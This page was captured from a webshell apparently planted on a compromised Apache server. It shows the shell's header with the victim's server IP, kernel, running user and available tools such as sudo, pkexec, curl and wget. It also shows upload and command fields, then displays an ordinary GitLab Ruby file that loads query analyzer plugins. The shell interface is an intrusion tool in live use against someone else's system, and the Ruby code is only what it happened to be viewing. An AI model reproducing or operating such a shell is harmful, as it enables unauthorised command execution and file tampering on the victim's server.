403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/database/query_analyzers.rb
# frozen_string_literal: true

require 'yaml'

module Database
  class QueryAnalyzers
    attr_reader :analyzers

    def initialize
      config = YAML.safe_load_file(File.expand_path('query_analyzers.yml', __dir__))
      @analyzers = self.class.all.map do |subclass|
        subclass_name = subclass.to_s.split('::').last
        subclass.new(config[subclass_name])
      end
    end

    def analyze(query)
      analyzers.each { |analyzer| analyzer.analyze(query) }
    end

    def save!
      analyzers.each(&:save!)
    end

    class << self
      def all
        ObjectSpace.each_object(::Class).select { |c| c < Base }
      end
    end
  end
end

Dir[File.join(File.expand_path('query_analyzers', __dir__), '*.rb')].each do |plugin|
  require plugin
end

Youez - 2016 - github.com/yon3zu
LinuXploit